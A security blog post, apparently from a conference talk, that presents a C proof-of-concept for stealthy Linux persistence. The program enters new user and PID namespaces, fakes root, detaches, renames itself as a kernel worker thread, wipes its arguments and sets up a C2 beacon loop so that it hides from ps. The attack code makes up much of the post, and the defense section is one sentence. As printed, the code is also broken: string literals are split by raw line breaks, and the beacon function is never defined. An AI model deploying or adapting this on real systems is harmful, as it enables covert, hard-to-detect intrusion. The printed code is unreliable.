Home Blog Get in Touch
LIGHT
All posts
Linux KernelPersistenceNamespacesBHMEA 2025

Living in the
namespace: Stealthy
persistence in Linux

Motivation

Most Linux persistence relies on the same small set of mechanisms defenders have been watching for since forever. Drop a systemd service, add a cron job, append something to .bashrc. They work. But they are noisy. Actions get logged, files get created, and any decent blue team will find them if they are actually looking.

The question I kept coming back to: what if you could maintain long-term access without touching any of that? No new service files, no startup modifications, no reboots. Just the kernel, doing what the kernel already does, and your process riding along inside it.

That is where namespaces come in.

Linux Namespaces 101

Linux namespaces are a kernel feature that lets processes see isolated views of system resources. Each namespace wraps a particular type of resource and presents a private copy of it to processes inside. This is the underlying mechanism that makes containers work. Docker, Kubernetes, systemd-nspawn all build on top of it.

The namespace types relevant here:

Key insight: User namespaces can be created without any privileges on most Linux distributions. This defaults to enabled on Ubuntu, Debian, Fedora, and most modern distros. It is controlled by kernel.unprivileged_userns_clone.

The Technique: Unshare to Persist

The core idea: use unshare(2) to move a process into a new set of namespaces, where it becomes effectively invisible to standard host-level monitoring, runs as root inside its isolated environment, and beacons out over the network without touching any persistence mechanism that would survive or be visible on the host.

The execution flow:

0
Privilege Elevation
Call unshare(CLONE_NEWUSER). Write UID map to /proc/self/uid_map and GID map to /proc/self/gid_map. The process sees itself as root within the user namespace with no real privileges on the host.
1
Namespace Creation
Call unshare(CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS). The process is now in a nested world with isolated PIDs, private mount points, separate IPC, and its own hostname.
2
Fork and Detach
Fork. The parent exits immediately. The child wakes up inside the new PID namespace as PID 1. The host cannot see the new namespace PIDs through normal tools.
3
Daemonize and Hide
The child calls setsid(), redirects stdio to /dev/null, zeroes out argv[], and uses prctl(PR_SET_NAME) to rename the process to kworker/0:0, a legitimate-looking kernel thread name.

The Code

The full proof-of-concept demonstrated live at BHMEA. It implements the execution chain above including user namespace privilege escalation, namespace creation, fork, daemonization, and a simple HTTP beacon loop.

#define _GNU_SOURCE
#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/mount.h>
#include <arpa/inet.h>
#include <time.h>
#include <signal.h>
#include <string.h>

#define TAG             "kworker/0:0"
#define C2_HOST         "127.0.0.1"
#define C2_PORT         8443
#define BEACON_INTERVAL 10

int elevate_privileges(void) {
    char mapping[64];
    int fd;

    if (unshare(CLONE_NEWUSER) != 0) return -1;

    fd = open("/proc/self/setgroups", O_WRONLY);
    if (fd >= 0) { write(fd, "deny
", 5); close(fd); }

    snprintf(mapping, sizeof(mapping), "0 %d 1
", getuid());
    fd = open("/proc/self/uid_map", O_WRONLY);
    if (fd >= 0) { write(fd, mapping, strlen(mapping)); close(fd); }

    snprintf(mapping, sizeof(mapping), "0 %d 1
", getgid());
    fd = open("/proc/self/gid_map", O_WRONLY);
    if (fd >= 0) { write(fd, mapping, strlen(mapping)); close(fd); }

    return 0;
}

int create_new_namespace(void) {
    return unshare(CLONE_NEWPID | CLONE_NEWNS | CLONE_NEWIPC | CLONE_NEWUTS);
}

void daemonize_process(int argc, char *argv[]) {
    int fd, i;

    signal(SIGCHLD, SIG_IGN);
    signal(SIGHUP, SIG_IGN);
    setsid();
    chdir("/");

    prctl(PR_SET_NAME, TAG, 0, 0, 0);

    for (i = 0; i < argc; i++)
        if (argv[i]) memset(argv[i], 0, strlen(argv[i]) + 1);

    fd = open("/dev/null", O_RDWR);
    if (fd >= 0) {
        dup2(fd, STDIN_FILENO);
        dup2(fd, STDOUT_FILENO);
        dup2(fd, STDERR_FILENO);
        if (fd > 2) close(fd);
    }
}

int main(int argc, char *argv[]) {
    pid_t pid;

    elevate_privileges();
    create_new_namespace();

    pid = fork();
    if (pid > 0) _exit(0);

    daemonize_process(argc, argv);
    mount("proc", "/proc", "proc", 0, NULL);

    /* persistence beacon loop runs here */
    run_persistence_loop();
    return 0;
}

Why It Works

Once the child is running inside the new PID namespace, ps aux on the host will not show it. The remounted /proc inside the namespace reflects only the processes within that namespace, so any tools the process runs also see a clean environment. The process name looks like a kernel worker thread. No new files on disk, no cron entries, no service definitions.

The network still works. The process shares the host network namespace by default, so it can beacon outbound freely. HTTP GET requests to a C2 server blend in with normal application traffic.

Live demo result at BHMEA: after running the binary, ps aux | grep main returned nothing. Meanwhile the C2 server log was showing incoming beacons every 10 seconds. The process was alive, communicating, and completely hidden from standard enumeration.

Defense

Defending against a fully weaponized version of this is difficult but not impossible. The surface area is the user namespace creation primitive itself.

Conclusion

Linux namespaces provide a legitimate, kernel-supported isolation mechanism that can be repurposed for stealthy persistence. No privilege escalation in the traditional sense, no files dropped, no boot-time hooks. Just a process living inside the kernel infrastructure, hiding in plain sight.

Namespaces are not just a container primitive. They are a general-purpose isolation mechanism in the kernel, and anyone assuming that process visibility is complete because ps shows nothing needs to rethink that assumption.

// Back to All Posts // Next BrightWall